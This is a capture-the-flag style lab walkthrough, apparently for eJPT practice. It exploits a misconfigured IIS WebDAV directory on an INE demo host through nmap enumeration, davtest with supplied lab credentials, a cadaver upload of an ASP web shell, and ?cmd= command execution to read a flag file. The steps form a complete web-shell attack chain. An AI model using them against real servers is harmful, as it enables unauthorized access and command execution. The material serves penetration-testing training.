EJPT:Windows: IIS Server DAVTest

Davtest is a WebDAV scanner that sends exploit files to the WebDAV server and automatically creates the directory and uploads different format types of files. The tool also tried to execute uploaded files and gives us an output of successfully executed files.

Cadaver is a tool for WebDAV clients, which supports a command-line style interface. It supports operations such as uploading files, editing, moving, etc.

In this lab, we will learn how to exploit the WebDav service using the Davtest and Cadaver tools.

Phase 1: Reconnaissance (Information Gathering)
Before attempting an exploit, you must discover open ports and identify running services to determine what technologies are active on the target.
Step 1: Broad Service Scan
Run a standard nmap scan to discover active ports on the host.
bash
nmap demo.ine.local
Use code with caution.

  1. Purpose: Identifies which network ports are open (e.g., Port 80 for HTTP).
    Step 2: Advanced Enumeration and Script Scanning
    Query the web server specifically on port 80 to enumerate directories and probe service versions.
    bash
    nmap –script http-enum -sV -p 80 demo.ine.local
    Use code with caution.
  2. –script http-enum: Uses Nmap’s Scripting Engine (NSE) to brute-force common directory paths (like /webdav).
  3. -sV: Determines the exact version of the software running on the port (e.g., Microsoft IIS).
  4. -p 80: Restricts the scan to the web service port to save time.
    Phase 2: Vulnerability Analysis & Authentication Probing
    WebDAV (Web Distributed Authoring and Versioning) is an extension of HTTP that allows clients to create, move, and upload files on a web server. If misconfigured, it permits unauthorized file execution.
    Step 3: Initial WebDAV Testing
    Test the /webdav path to check if anonymous file uploads are allowed.
    bash
    davtest -url http://demo.ine.local/webdav
    Use code with caution.
  5. Expected Result: This initial check yields a 401 Unauthorized status code, indicating that the directory requires authentication credentials.
    Step 4: Authenticated Capability Testing
    Re-run the assessment tool providing the discovered credentials (bob:password_123321) to map out your specific upload and execution permissions.
    bash
    davtest -auth bob:password_123321 -url http://demo.ine.local/webdav
    Use code with caution.
  6. -auth: Formats the credentials as username:password for HTTP Basic Authentication.
  7. Mechanism: davtest automatically attempts to upload test files with various extensions (.txt, .html, .asp, .php). It then checks if those files can be executed by the server.
  8. Key Finding: The output confirms that .asp files can be uploaded and successfully executed by the underlying IIS engine.
    Phase 3: Exploitation & Access Realization
    Since execution permissions for Classic ASP files are enabled, you can upload a server-side script (a web shell) to interact with the underlying Windows operating system.
    Step 5: Establish a WebDAV Session via Cadaver
    Use cadaver, an interactive command-line WebDAV client, to log into the remote directory.
    bash
    cadaver http://demo.ine.local/webdav
    Use code with caution.
  9. Action Required: When prompted by the interface, input the username bob and password password_123321.
    Step 6: Upload the Web Shell payload
    Once inside the interactive dav:/webdav/> prompt, upload a built-in Classic ASP web shell from Kali Linux’s local repository.
    davtest
    put /usr/share/webshells/asp/webshell.asp webshell.asp
    Use code with caution.
  10. put: Uploads a local file to the remote server.
  11. Crucial Syntax: Providing the explicit target name webshell.asp at the end prevents the client from appending hidden formatting strings or trailing line-break characters (such as %0a), avoiding standard 400 Bad Request execution blocks.
  12. Verification: Type ls inside the interactive prompt to confirm webshell.asp is listed in the directory layout.
    Phase 4: Post-Exploitation & Objective Execution
    With the web shell uploaded, commands sent to webshell.asp will run with the privileges of the web server daemon.
    Step 7: Command Execution & Privileges Check
    In an external web browser, point to the uploaded script to execute the payload. Pass system commands using the URL query parameter string ?cmd=.
    text
    http://demo.ine.local/webdav/webshell.asp?cmd=whoami
    Use code with caution.
  13. whoami: A Windows utility that displays the current user context.
  14. Expected Output: Returns iis apppool\defaultapppool (or a similar service account identifier), confirming execution context inside the target system container.
    Step 8: System Enumeration & Flag Retrieval
    Locate and view files of interest across the operating system environment.
  15. List the Root Directory Layout:text
    http://demo.ine.local/webdav/webshell.asp?cmd=dir+C%3A%5C
    Use code with caution.
    (Note: + acts as a space character, and %3A%5C represents the URL-encoded version of :\ to reference C:\ securely).
  16. Read the Target Flag File Content:text
    http://demo.ine.local/webdav/webshell.asp?cmd=type+C%3A%5Cflag.txt
    Use code with caution. • type: The native Windows Command Prompt instruction utilized to read and display plain-text files directly on screen.
    Summary Table of Core Commands
    Phase Command Context / Environment Purpose
    Reconnaissance nmap demo.ine.local Standard Terminal Initial port identification.
    Enumeration nmap –script http-enum -sV -p 80 demo.ine.local Standard Terminal Uncovers directory layouts and service definitions.
    Vulnerability Assessment davtest -auth bob:password_123321 -url http://demo.ine.local/webdav Standard Terminal Identifies allowed file extensions and execution rights.
    Exploitation (Access) cadaver http://demo.ine.local/webdav Standard Terminal Launches the interactive WebDAV connection portal.
    Exploitation (Payload) put /usr/share/webshells/asp/webshell.asp webshell.asp Interactive WebDAV Prompt Uploads the operating system bridge script clean of bad parameters.
    Post-Exploitation Navigate to: …?cmd=type+C%3A%5Cflag.txt Web Browser URL Bar Reads the final objective asset through the web shell interface.

Leave a Reply

Your email address will not be published. Required fields are marked *